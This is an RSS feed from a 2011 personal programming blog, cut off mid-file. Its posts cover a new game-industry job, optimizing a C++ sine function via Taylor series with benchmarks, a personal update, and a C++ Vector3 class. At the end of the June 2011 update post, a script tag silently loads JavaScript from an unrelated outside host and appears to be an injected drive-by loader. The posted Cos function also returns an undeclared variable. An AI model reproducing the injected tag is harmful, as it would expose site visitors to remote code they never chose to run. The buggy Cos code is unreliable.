<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LeetNightshade</title>
	<atom:link href="http://leetnightshade.com/feed" rel="self" type="application/rss+xml" />
	<link>http://leetnightshade.com</link>
	<description>Realm of leetNightshade</description>
	<lastBuildDate>Wed, 09 Nov 2011 21:19:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Now employed at Gameloft!</title>
		<link>http://leetnightshade.com/archives/577?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=now-employed-at-gameloft</link>
		<comments>http://leetnightshade.com/archives/577#comments</comments>
		<pubDate>Tue, 08 Nov 2011 22:26:13 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=577</guid>
		<description><![CDATA[I&#8217;m going to be a programmer at Gameloft&#8216;s new studio in New Orleans!! I&#8217;ve lived on my own in Troy, NY, for 6 months on a co-op with 1st Playable Productions.  This time, I&#8217;ll be much farther away from home, and for a much longer period of time.  So, this will be pretty exciting, and [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.gameloft.com/"><img class="aligncenter size-full wp-image-579" style="border: 1px solid #000000;" title="Gameloft" src="http://leetnightshade.com/wp-content/uploads/2011/11/gameloft.png" alt="Gameloft" width="437" height="304" /></a><br />
I&#8217;m going to be a programmer at <a href="http://www.gameloft.com/">Gameloft</a>&#8216;s new studio in New Orleans!! <img src='http://leetnightshade.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>I&#8217;ve lived on my own in Troy, NY, for 6 months on a co-op with <a href="http://www.1stplayable.com/">1st Playable Productions</a>.  This time, I&#8217;ll be much farther away from home, and for a much longer period of time.  So, this will be pretty exciting, and I&#8217;ll be working on a variety of mobile games for Android and iOS!</p>
<p>I start December 1st, wish me luck.</p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/577/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Creating the &#8220;perfect&#8221; tutorial/blog layout!</title>
		<link>http://leetnightshade.com/archives/518?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=creating-the-perfect-tutorialblog-layout</link>
		<comments>http://leetnightshade.com/archives/518#comments</comments>
		<pubDate>Sun, 07 Aug 2011 20:09:36 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=518</guid>
		<description><![CDATA[I&#8217;d like to figure out how to format my posts in a manner that&#8217;s as clear as possible, as an example to work off of, here&#8217;s my last post: Creating and Optimizing a C++ Function – sin.  I&#8217;m not sure I like how it&#8217;s laid out, I feel it could probably somehow be more professional looking, [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;d like to figure out how to format my posts in a manner that&#8217;s as clear as possible, as an example to work off of, here&#8217;s my last post: <a href="http://leetnightshade.com/archives/481">Creating and Optimizing a C++ Function – sin</a>.  I&#8217;m not sure I like how it&#8217;s laid out, I feel it could probably somehow be more professional looking, but I&#8217;m not yet sure what to do with it.  I figure I should try to find some other programming blogs and see how they go about doing this.  Also, I&#8217;m not a writer by trade, and my written word may be a bit too close to stream of thought, and as such may not be as clear as possible.  Any thoughts or suggestions are greatly appreciated, or if you feel like sharing your blog here please feel free to do so! (:</p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/518/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating and Optimizing a C++ Function &#8211; sin</title>
		<link>http://leetnightshade.com/archives/481?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=creating-and-optimizing-a-c-function-sin</link>
		<comments>http://leetnightshade.com/archives/481#comments</comments>
		<pubDate>Sun, 07 Aug 2011 20:01:31 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[c++]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=481</guid>
		<description><![CDATA[The sake of this post is going to be steps I&#8217;ve personally learned to take in optimizing a function, so please feel free to fill me in on something I don&#8217;t know, add further comments or ask questions. I&#8217;m still an aspiring programmer, and thought it would be cool to have a &#8220;full fledged&#8221; math library [...]]]></description>
			<content:encoded><![CDATA[<p>The sake of this post is going to be steps I&#8217;ve personally learned to take in optimizing a function, so please feel free to fill me in on something I don&#8217;t know, add further comments or ask questions.</p>
<p>I&#8217;m still an aspiring programmer, and thought it would be cool to have a &#8220;full fledged&#8221; math library that I could tie into my game engine that&#8217;s cross-platform in nature.  As such, I thought if I ever needed my own data type, it would be useful to be able to perform mathematical operations on it, which means I might need my own math library; of course I could try converting to a format supported for the hardware, as it&#8217;d typically be faster, but at this point I&#8217;m more concerned about learning what goes on behind the math library.  And for whatever reason, if you needed a higher precision, then you&#8217;d need a custom math library anyway.</p>
<p style="text-align: left;">So, recently I started looking up how to program a sin function; I didn&#8217;t find much, but I did find a Wikipedia article that detailed a mathematical model for sin, which you can find here: <a href="http://en.wikipedia.org/wiki/Trigonometric_functions#Series_definitions">Trigonometric functions &#8211; Series definitions</a>.  You can view the function below:</p>
<div style="display: inline-block; background-color: #ffffff; margin-top: 0px; margin-right: auto; margin-bottom: 0px; margin-left: auto; border-width: 1px; border-color: #000000; border-style: solid; padding: 5px;"><img class="alignnone" title="sin &amp; cos mathematical functions" src="http://upload.wikimedia.org/math/5/4/6/546ecab719ce73dfb34a7496c942972b.png" alt="" width="265" height="219" /></div>
<p>Now I&#8217;m going to write this function in C++, and the main question we&#8217;re looking at here is:</p>
<p><span style="font-size: 25px;"><strong>How do I go about optimizing a function?</strong></span><br />
(Not so much concerned about language semantics as basic fundamentals you should try to apply in just about any language)</p>
<p>Here&#8217;s the function quickly typed up, notice I chose to write it as an iterative function than as a recursive function.  A recursive function will always be slower than an iterative function, which are not the details of this post, but it has to do with the stack and storing return variables and unwrapping the stack, etc.</p>
<ol>
<li><strong>Try to always write your performance function as an iterative function rather than a recursive one.</strong></li>
</ol>
<pre class="brush:cpp">// size_t n, is the number of loops; the higher number of loops, the higher the precision
template &lt;class T&gt;
inline T MathUtil&lt;T&gt;::Sin(const T&amp; val, const size_t n)
{
	T num = val;

	for(size_t i = 1; i &lt;= n; ++i)
	{
		size_t odd = 2 * i + 1;

		// Factorial is written elsewhere
		num += powf(-1, i) * powf(val, odd) / Factorial(odd);
	}

	return num;
}</pre>
<p>Which you could use like this:</p>
<pre class="brush:cpp">double result = Sin&lt;&gt;(1.0,12);
// or:
result = Sin&lt;double&gt;(1,12);</pre>
<p>So this is a very simple function, and in release mode runs close to what the real thing does.  Here&#8217;s the results in debug:<br />
my sin: 3.57916ms<br />
std sin: 0.346908ms</p>
<p>&nbsp;</p>
<p>If you look back to the image, you&#8217;ll see (-1)^n.  This function merely alternates the addition and subtraction of our function, which can be simplified to this:</p>
<pre class="brush:cpp">// size_t n, is the number of loops; the higher number of loops, the higher the precision
template &lt;class T&gt;
inline T MathUtil&lt;T&gt;::Sin(const T&amp; val, const size_t n)
{
	T num = val;

	for(size_t i = 1; i &lt;= n; ++i)
	{
		size_t odd = 2 * i + 1;

		// Factorial is written elsewhere
		if(i % 2 == 0)
		{
			num += powf(val, odd) / MathUtil::Factorial(odd);
		}
		else
		{
			num -= powf(val, odd) / MathUtil::Factorial(odd);
		}
	}

	return num;
}</pre>
<p>This results in new times (remember, times will vary):<br />
my sin: 2.68451ms<br />
std sin: 0.348312ms</p>
<p>Notice this does help our performance, though it&#8217;s frankly a minimal change.  There are a few more things we can simplify out that are crucial, we&#8217;re redoing the factorial calculations, as well as the power calculations every loop.  We can add these operations up through the loop.  Look back to the image, you&#8217;ll notice as we through the loop, we&#8217;ll start with 1!, then 3!, then 5!.  We&#8217;re iterating through odd numbers, and we can compound the operations as 5! contains 3!: 5 * 4 * 3!.  3! contains 1!: 3 * 2 * 1!.  So we just need to have a variable to store the factor total, and the number we&#8217;re currently on; multiply the stored total by the number &#8211; 1 and the number, as shown before.  Again, if we&#8217;re in the loop at number 7, then we have 5! stored from the previous loop, multiply that by 6 then by 7.  In the next loop 7! x 8 then by 9.  Etc.  We can also do this with the odd exponent.  We now have the new function below.</p>
<pre class="brush:cpp">// size_t n, is the number of loops; the higher number of loops, the higher the precision
template &lt;class T&gt;
inline T MathUtil&lt;T&gt;::Sin(const T&amp; val, const size_t n)
{
	T num = val;

	size_t factNum = 3;
	size_t factTot = 1;

	T mult = val;

	for(size_t i = 1; i &lt;= n; ++i, factNum += 2)
	{
		mult *= -val * val;

		factTot *= factNum - 1;
		factTot *= factNum;

		num += mult / static_cast&lt;T&gt;(factTot);
	}

	return num;
}</pre>
<p>So we got rid of the factorial and power functions all together. So this is something you want to keep in mind when trying to make functions faster, try to minimize your function calls as much as possible, I chose &#8220;<em>val</em> * <em>val&#8221; </em>instead of &#8220;pow(<em>val</em>,2)&#8221; for this reason. You remember how we have to alternate adding and subtracting over the odd numbers? I do this by negating val and storing it in the variable mult which will flip sign every loop, doing just what I wanted; this is better than the first two solutions. Here&#8217;s the results:<br />
my sin: 0.586781ms<br />
std sin: 0.351613ms</p>
<ol start="2">
<li><strong>Minimize function calls as much as possible, get rid of any that you can.  </strong></li>
</ol>
<p>And as we already started to do&#8230;</p>
<ol start="3">
<li><strong>Try to simplify the mathematical operations, using any tricks based off of patterns and mathematical properties you notice.</strong></li>
</ol>
<p>Anything else we can do? Look back at the image of our functions and refer to some of the variables we&#8217;re now using. We&#8217;re trying to simplify the exponential and factorial calculations using a factorial total and mult for the exponential totals. As we&#8217;re using multiplication, we can concatenate the results from an earlier part of the equation and use it for a later one so we have to do less calculations.</p>
<pre class="brush:cpp">// size_t n, is the number of loops; the higher number of loops, the higher the precision
template &lt;class T&gt;
T Sin(const T val, const size_t n)
{
	const T val2 = -val * val;

	T num = val;

	T mult = val;

	size_t factTot = 1;

	const size_t odd = 2 * n + 1;
	for(size_t f = 3; f &lt;= odd; f += 2)
	{
		mult *= val2;

		factTot *= f - 1;
		factTot *= f;

		num += mult / static_cast&lt;T&gt;(factTot);
	}

	return num;
}</pre>
<p>I&#8217;m still looking into other ways to improve this function, but this is all of what I have thus far.  Notice I moved &#8220;-<em>val</em> * <em>val</em>&#8221; to it&#8217;s own variable so it&#8217;s doing one less negation and multiplication every loop of the algorithm; it doesn&#8217;t affect t he performance that much, but it&#8217;s something that seems to me should be done.  I&#8217;m currently reading this paper on <strong><a href="http://www.agner.org/optimize/optimizing_cpp.pdf">Optimizing C++</a></strong>, which I highly suggest you give it a read, as well as consider reading this site on <a href="http://www.codeproject.com/KB/cpp/C___Code_Optimization.aspx">Writing Efficient C</a>.  You&#8217;ll notice that in Optimizing C++ they mention that it&#8217;s a performance hit to switch between integers and floats, however, the extra time in the algorithm to calculate <em>factTot</em> and <em>f</em> as the float calculations override that performance concern, so what I have above is the best way from what I&#8217;ve tried, by casting <em>factTot</em> to double, or whatever type you&#8217;re using, and dividing it by <em>mult</em>.</p>
<p>The following is the test code I used to generate my results:</p>
<pre class="brush:cpp">Benchmark std = Benchmark();
for(int i = 0; i &lt; 100000; ++i)
{
	std.Start();
	double result6 = sin(1.0);
	std.Stop();
}
Sleep(50);
for(int i = 0; i &lt; 100000; ++i)
{
	std.Start();
	double result6 = sin(1.0);
	std.Stop();
}
Sleep(100);
for(int i = 0; i &lt; 100000; ++i)
{
	std.Start();
	double result2 = sin(1.0);
	std.Stop();
}

sTrace(make_string() &lt;&lt; "std    Sin:" &lt;&lt; std.Get_AvgMicroSeconds() &lt;&lt; "ms");
sTrace(make_string() &lt;&lt; "std MinSin:" &lt;&lt; std.Get_MinMicroSeconds() &lt;&lt; "ms");
sTrace(make_string() &lt;&lt; "std MaxSin:" &lt;&lt; std.Get_MaxMicroSeconds() &lt;&lt; "ms");

Benchmark mys = Benchmark();
for(int i = 0; i &lt; 100000; ++i)
{
	mys.Start();
	double result6 = Sin&lt;double&gt;(1,6);
	mys.Stop();
}
Sleep(50);
for(int i = 0; i &lt; 100000; ++i)
{
	mys.Start();
	double result6 = Sin&lt;double&gt;(1,6);
	mys.Stop();
}
Sleep(100);
for(int i = 0; i &lt; 100000; ++i)
{
	mys.Start();
	double result6 = Sin&lt;double&gt;(1,6);
	mys.Stop();
}

sTrace(make_string() &lt;&lt; "my    Sin:" &lt;&lt; mys.Get_AvgMicroSeconds() &lt;&lt; "ms");
sTrace(make_string() &lt;&lt; "my MinSin:" &lt;&lt; mys.Get_MinMicroSeconds() &lt;&lt; "ms");
sTrace(make_string() &lt;&lt; "my MaxSin:" &lt;&lt; mys.Get_MaxMicroSeconds() &lt;&lt; "ms");</pre>
<p>What the results show you is the average run-time, the minimum run-time, and the maximum run-time during my benchmarks.  Here is my first set of results in debug x64:</p>
<pre class="brush:cpp">std    Sin:0.15552ms
std MinSin:0ms
std MaxSin:61.4676ms

my    Sin:0.194272ms
my MinSin:0ms
my MaxSin:61.4675ms</pre>
<p>Here is my second set of results in debug mode x64:</p>
<pre class="brush:cpp">std    Sin:0.154726ms
std MinSin:0ms
std MaxSin:48.567ms

my    Sin:0.192029ms
my MinSin:0ms
my MaxSin:55.7761ms</pre>
<p>Here is a result from a release build x64:</p>
<pre class="brush:cpp">std    Sin:0.0923657ms
std MinSin:0ms
std MaxSin:48.9464ms

my    Sin:0.0920976ms
my MinSin:0ms
my MaxSin:24.2835ms</pre>
<p>Here the next result from the same release build x64:</p>
<pre class="brush:cpp">std    Sin:0.0919509ms
std MinSin:0ms
std MaxSin:4.55315ms

my    Sin:0.0920293ms
my MinSin:0ms
my MaxSin:10.624ms</pre>
<p>Result from release build x32:</p>
<pre class="brush:cpp">std    Sin:0.190925ms
std MinSin:0ms
std MaxSin:184.78ms

my    Sin:0.187989ms
my MinSin:0ms
my MaxSin:173.777ms</pre>
<p>Result from the same release build x32:</p>
<pre class="brush:cpp">std    Sin:0.183714ms
std MinSin:0ms
std MaxSin:25.4215ms

my    Sin:0.183407ms
my MinSin:0ms
my MaxSin:77.0233ms</pre>
<p>Just as a disclaimer, for those of you who don&#8217;t know, these kind of benchmarks aren&#8217;t an end-all be-all of determining what is or isn&#8217;t better.  Also, my benchmark util has it&#8217;s own overhead so your own results may be different if you compare algorithms, though the results should be comparatively similar.  And, obviously these functions didn&#8217;t take 0ms, it has to do with the accuracy of the timer, which uses the Windows function <em>QueryPerformanceCounter </em>and <em>QueryPerformanceFrequency, </em>which I&#8217;ve read are accurate only to 1ms and these measurements are smaller than that.  I&#8217;m running an Intel Core i7 920 and during these tests was clocked at just 2.8322GHz.</p>
<p>It seems this algorithm runs close enough to the standard solution, however, keep in mind that depending on the hardware you&#8217;re using that the standard function could be calculated using hardware and could be even faster; unless of course my build is already doing that, then I&#8217;d be impressed at how well this algorithm is running.  You can also use this algorithm with smaller precision Sin&lt;double&gt;(1,3) instead of Sin&lt;double&gt;(1,6).  In case you couldn&#8217;t gather, the first number is the number we&#8217;re taking the sin of; and the second number represents the amount of looping being done to increase the precision, so the higher the number the higher the precision.  Realize however, there is a point where these floating point calculations won&#8217;t be accurate due to the limitations of double and float.  There should be a function to calculate the level of precision necessary for each data type for this algorithm, I just don&#8217;t have it at my fingertips at the moment.  Frankly these numbers start to not mean too much as it&#8217;s hard to get accurate results, but this was more of an academic goal than anything, so it&#8217;s up to you if you&#8217;d find something like this useful.  Honestly, this endeavor was so I could learn how to program a sin and cos function so I can program a compile time version which has no run time costs; it has limited uses, but is still something that is cool and useful.  I&#8217;ll detail this in a later post, but for now, here&#8217;s the cos version of this algorithm, which builds off of even numbers instead of odd numbers.</p>
<pre class="brush:cpp">// size_t n, is the number of loops; the higher number of loops, the higher the precision
template &lt;class T&gt;
T Cos(const T val, const size_t n)
{
	T cosResult = 1;

	size_t factorialTotal = 1;

	T multiplicationTotal = 1;

	const T val2 = -val * val;

	const size_t even = 2 * n;
	for(size_t f = 2; f &lt;= even; f += 2)
	{
		multiplicationTotal *= val2;

		factorialTotal *= f - 1;
		factorialTotal *= f;

		cosResult += multiplicationTotal / static_cast&lt;T&gt;(factorialTotal);
	}

	return num;
}</pre>
<p>This is used similarly to the sin function, Cos&lt;double&gt;(1,6) or Cos&lt;&gt;(1.0,6).</p>
<p>&nbsp;</p>
<p>I have done everything I sought out to do with this post, and I&#8217;ll continue to experiment and see if I come up with anything else while doing more reading on C++ optimization, thinking if there are other algorithmic shortcuts I can make (Yes I realize there wasn&#8217;t tooo much optimization I did here, it was merely doing what I needed to, to reduce the factorial calculations and other multiplication.  Also, again, these basic steps for optimization are general things to keep in mind. ).  I&#8217;ll post updates when I find something, or if you have something you&#8217;d like to contribute please feel free, this is a good learning opportunity for all of us! (:</p>
<p>[UPDATE - 11/9/2011]</p>
<p>I forgot how large factorial results could get, and recently realized that as I&#8217;m compiling for Win32, size_t won&#8217;t get me far for storing said results.  So, rather than just changing it to a long long or something, I&#8217;m changing it to be the same datatype as specified by the template, even if it means a little calculation cost time of not using integers.  Actually, if I used a custom datatype with a large precision, I would need to do this anyway, otherwise the function wouldn&#8217;t be very precise.</p>
<p>Anyway, this update comes as I somehow stumbled across this site:  <a href="http://www.mathisfunforum.com/viewtopic.php?id=8910">super fast trig functions</a>.  And a disclaimer for this thread, they&#8217;re not really any faster than the built in solution unless you are willing to lose precision, which the specified functions don&#8217;t specify as they loop until &#8220;INFINITY&#8221;.  If you want super fast trig functions, you should look into something like Cordic functions, as mentioned in the Game Engine Gems 1, the important part being that you only need to use integers to calculate sin; though of course, it&#8217;s an approximation, and there are other integer based methods besides this one as well if you do a little digging.</p>
<p>So, here&#8217;s the final sin function with the little tweaks:</p>
<pre class="brush:cpp">template &lt;class T&gt;
T Sin(const T val, const T n)
{
	const T val2 = val * val;

	T num = val;

	T mult = val;

	T factTot = 1;

	const T odd = 2 * n + 1;
	for(T f = 3; f &lt;= odd; f += 2)
	{
		mult *= -val2;

		factTot *= f * (f - 1);

		num += mult / factTot;
	}

	return num;
}</pre>
<p>I realized from reading the mentioned thread on super fast trig functions, that I can cut a few things out of my function. I&#8217;m maintaining a variable for storing the exponents and the factorial results, which can both be cached in a single variable with the risk of the loss of a little precision, which isn&#8217;t a big deal from what I&#8217;ve tested; actually, it still provides pretty accurate results.</p>
<pre class="brush:cpp">template &lt;class T&gt;
T Sin(const T val, const T n)
{
	const T val2 = val * val;

	T num = val;

	T expDivFact = val;

	const T odd = 2 * n + 1;
	for(T f = 3; f &lt;= odd; f += 2)
	{
		expDivFact = -expDivFact * val2 / (f * (f - 1));

		num += expDivFact;
	}

	return num;
}</pre>
<p>So, the above Sin function is probably the fastest using the theory of Taylor series; though of course there might be other tweaks one could make.   If you want something faster look into this: <a href="http://en.wikipedia.org/wiki/CORDIC">CORDIC</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/481/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>End of June &#8217;11 Update</title>
		<link>http://leetnightshade.com/archives/467?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=end-of-june-11-update</link>
		<comments>http://leetnightshade.com/archives/467#comments</comments>
		<pubDate>Wed, 29 Jun 2011 23:01:26 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[books]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=467</guid>
		<description><![CDATA[Just a shoutout, I&#8217;m not dead, just trying to figure out things in my life!  I&#8217;m working on a blogpost concerning a multi-threaded load balancing server, am re-organizing and working more on my Warp engine, though with starting anew I may rename the engine and lead it in a slightly different direction. Concerning what I&#8217;m [...]]]></description>
			<content:encoded><![CDATA[<p>Just a shoutout, I&#8217;m not dead, just trying to figure out things in my life!  I&#8217;m working on a blogpost concerning a multi-threaded load balancing server, am re-organizing and working more on my Warp engine, though with starting anew I may rename the engine and lead it in a slightly different direction.</p>
<p>Concerning what I&#8217;m trying to figure out: I had lost hope in going to gradschool given that I would be in debt for a ridiculous amount of money with my combined debt from undergrad and the cost of the program as well as the cost of living.  However, financial aid may save me, maybe.  I was planning on applying to various game development companies, but I&#8217;m not going to say as to not hurt my chances. ;P  Even with the possibility of financial aid saving me, I&#8217;ve grown a bit fond of the idea of getting a job now, as there&#8217;s going to be a lot more competition in 2 years from all the new game development programs that have popped up.  So, maybe I will just try getting a job in the industry, as it&#8217;ll be harder down the line.</p>
<p>I just bought <a href="http://www.amazon.com/Masters-Doom-Created-Transformed-Culture/dp/0812972155/ref=sr_1_1?ie=UTF8&amp;qid=1309387508&amp;sr=8-1">Masters of Doom</a>, and I must say it&#8217;s quite good thus far.  The book concerns the two Johns, John Carmack, and John Romero, the founders of Id Software, the creator&#8217;s of Doom, and pioneers of the First Person Shooter (otherwise known as the FPS, for those of you who don&#8217;t know).  So, important guys.  I&#8217;ve found it interesting and comforting to know that both of them at my age hadn&#8217;t quite settled down yet, so I still have some time. ;p  Just graduating, and the condition of the job market, I can&#8217;t help but feel a little anxious.  I would also like to point out that this book is so far quite inspiring, and as the fire of my passion has been a bit lacking in fuel, this is re-ignited it a bit.  So I must say I&#8217;m glad I picked up this book! <img src='http://leetnightshade.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I&#8217;m possibly starting a new project, though thinking about the undertakings I&#8217;m planning on scaling it back a bit.  Essentially I&#8217;m looking into creating a Farscape fan-game, mainly for educational purposes, at this point anyway.  The Farscape game that was made, was a let down to fans, it seems.  As such, I wanted to take a stap at it, modeling the game after Mass Effect and the Star Wars role-playing games, possibly bringing the game into an MMO form.  I&#8217;ve been doing networking lately, and would love to setup the possibility of players running dedicated servers and having a Farscape universe that they could sculpt and explore.  Of course, the reason I want to scale back, is that I realize there is a lot of content creation that would be needed; and right now the art assets needed for the game, are too great in magnitude to make this feasible with the small number of people that would originally be involved.  If anything, I&#8217;m going to start by making a tech-demo of sorts and using it to attract people who want to devote time and effort to the project.  You can find a thread concerning project ideas here: <a href="http://terrafirmascapers.com/index.php/topic,38205.msg849452.html">Farscape video game?</a> We&#8217;re trying to gather ideas, so please feel free to post there or on this page! <img src='http://leetnightshade.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>&nbsp;</p>
<p>Anyway, I&#8217;m working on designing an interface for my networking solution, then reprogramming the backend so a server can support more users, and use the appropriate Windows functions to calculate how many connections can be supported on a port.  So, I&#8217;ll be messing around with lots of C++ networking, and doing research and coming up with ideas for how to deal with security issues that may arise.  Look forward to more details!<script type="text/javascript" src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/467/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C++ Vector3 class</title>
		<link>http://leetnightshade.com/archives/424?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=c-vector3-class</link>
		<comments>http://leetnightshade.com/archives/424#comments</comments>
		<pubDate>Tue, 10 May 2011 03:08:58 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[vector]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=424</guid>
		<description><![CDATA[This class should have been posted long ago.  So, seeing how popular my C++ Vector2 class page has been, I&#8217;ve decided to finally post this for your needs.  This version is similar to the &#8220;improvements&#8221; on the Vector2 class, supposedly helping encapsulation; frankly, that&#8217;s up for you to decide. &#160; Remember, you can hover over [...]]]></description>
			<content:encoded><![CDATA[<p>This class should have been posted long ago.  So, seeing how popular my C++ Vector2 class page has been, I&#8217;ve decided to finally post this for your needs.  This version is similar to the &#8220;improvements&#8221; on the Vector2 class, supposedly helping encapsulation; frankly, that&#8217;s up for you to decide.</p>
<p>&nbsp;</p>
<p>Remember, you can hover over the source area and click the &#8220;&lt;&gt;&#8221; looking image (top right) to pop the source code into a new window to more easily view and copy the code.</p>
<p>Vector3.h</p>
<pre class="brush:c++">/*  __		__   ___     _____    ____
 *  \ \	   / /  / _ \   |  __ \  |    |
 *   \ \/\/ /  / / \ \  | | / /  |  __|
 *	  \_/\_/  /_/	\_\ |_| \_\  |_|
 *		Take it to the next Level
 *
 *	Copyright (c) 2009 Brian Ernst.
 */

#ifndef w_Vector3
#define w_Vector3

#include &lt;cmath&gt;

namespace _Warp
{
	typedef float	Scalar;
	typedef int		Bool;

	class Vector3
	{
	public:
		Scalar X;
		Scalar Y;
		Scalar Z;

		Vector3();
		Vector3(Scalar x, Scalar y, Scalar z);

		Vector3		operator+(const Vector3&amp; vector) const;
		Vector3		operator-(const Vector3&amp; vector) const;
		Vector3		operator-() const;
		Vector3		operator*(Scalar num) const;
		Vector3		operator/(Scalar num) const;

		Vector3&amp;	operator+=(const Vector3&amp; vector);
		Vector3&amp;	operator-=(const Vector3&amp; vector);
		Vector3&amp;	operator*=(Scalar num);
		Vector3&amp;	operator/=(Scalar num);

		Bool		operator==(const Vector3&amp; vector) const;
		Bool		operator!=(const Vector3&amp; vector) const;

		static const Vector3 Zero;
		static const Scalar	Epsilon;
	};

	inline Bool Vector3::operator==(const Vector3&amp; vector) const
	{
		return X == vector.X &amp;&amp; Y == vector.Y &amp;&amp; Z == vector.Z;
	}

	inline Bool Vector3::operator!=(const Vector3&amp; vector) const
	{
		return X != vector.X || Y != vector.Y || Z != vector.Z;
	}

	inline Vector3 Vector3::operator+(const Vector3&amp; vector) const
	{
		return Vector3(X + vector.X, Y + vector.Y, Z + vector.Z);
	}

	inline Vector3 Vector3::operator-(const Vector3&amp; vector) const
	{
		return Vector3(X - vector.X, Y - vector.Y, Z - vector.Z);
	}

	inline Vector3 Vector3::operator-() const
	{
		return Vector3(-X,-Y,-Z);
	}

	inline Vector3 Vector3::operator*(Scalar num) const
	{
		return Vector3(X * num, Y * num, Z * num);
	}

	inline Vector3 Vector3::operator/(Scalar num) const
	{
		return Vector3(X / num, Y / num, Z / num);
	}
}
#endif</pre>
<p>Vector3.cpp:</p>
<pre class="brush:c++">#include "Vector3.h"

#include &lt;limits&gt;

namespace _Warp
{
	const Vector3 Vector3::Zero = Vector3(0,0,0);
	const Scalar Vector3::Epsilon = std::numeric_limits::epsilon();

	Vector3::Vector3()
	{
	}

	Vector3::Vector3(Scalar x, Scalar y, Scalar z)
		: X( x )
		, Y( y )
		, Z( z )
	{
	}

	Vector3&amp; Vector3::operator+=(const Vector3&amp; vector)
	{
		X += vector.X;
		Y += vector.Y;
		Z += vector.Z;
		return *this;
	}

	Vector3&amp; Vector3::operator-=(const Vector3&amp; vector)
	{
		X -= vector.X;
		Y -= vector.Y;
		Z -= vector.Z;
		return *this;
	}

	Vector3&amp; Vector3::operator*=(Scalar num)
	{
		X *= num;
		Y *= num;
		Z *= num;
		return *this;
	}

	Vector3&amp; Vector3::operator/=(Scalar num)
	{
		this-&gt;X /= num;
		this-&gt;Y /= num;
		this-&gt;Z /= num;
		return *this;
	}
}</pre>
<p>Vector3Util.h</p>
<pre class="brush:c++">/*  __		__   ___     _____    ____
 *  \ \	   / /  / _ \   |  __ \  |    |
 *   \ \/\/ /  / / \ \  | | / /  |  __|
 *	  \_/\_/  /_/	\_\ |_| \_\  |_|
 *		Take it to the next Level
 *
 *	Copyright (c) 2009 Brian Ernst.
 */

#ifndef w_Vector3Util
#define w_Vector3Util

#include "Vector3.h"

// These two files are not detailed out in this blog post.
#include "Quaternion.h"
#include "TMatrixUtil.h"

namespace _Warp
{
	Scalar len(const Vector3&amp; vect);
	Scalar len2(const Vector3&amp; vect);

	void Clamp(Vector3&amp; vect,Scalar length);
	void Normalize(Vector3&amp; vect);
	void Normalize_s(Vector3&amp; vect);
	void SetLength(Vector3&amp; vect, Scalar length);
	void SetLength_s(Vector3&amp; vect, Scalar length);

	Scalar	Dot(const Vector3&amp; vec1, const Vector3&amp; vec2);

	Vector3	ToNormalized(const Vector3&amp; vect);
	Vector3	ToNormalized_s(const Vector3&amp; vect);
	Vector3	ToPolar(Scalar x, Scalar y, Scalar z);
	Vector3	ToCartesian(Scalar radius, Scalar angle, Scalar z);
	Vector3	Cross(const Vector3&amp; vec1, const Vector3&amp; vec2);
	Vector3	Rotate(const Vector3&amp; vec1, Scalar angle, const Vector3&amp; axis);

	Vector3 ToEuler(Vector3 axis, Scalar angle);

	inline Scalar len(const Vector3&amp; vect)
	{
		return sqrt(vect.X * vect.X + vect.Y * vect.Y + vect.Z * vect.Z);
	}

	inline Scalar len2(const Vector3&amp; vect)
	{
		return vect.X * vect.X + vect.Y * vect.Y + vect.Z * vect.Z;
	}

	inline void Normalize(Vector3&amp; vect)
	{
		vect /= len(vect);
	}

	inline void SetLength(Vector3&amp; vect, Scalar length)
	{
		vect *= length / len(vect);
	}

	inline Scalar	Dot(const Vector3&amp; vec1, const Vector3&amp; vec2)
	{
		return vec1.X * vec2.X + vec1.Y * vec2.Y + vec1.Z * vec2.Z;
	}

	inline Vector3 ToNormalized(const Vector3&amp; vect)
	{
		return vect / len(vect);
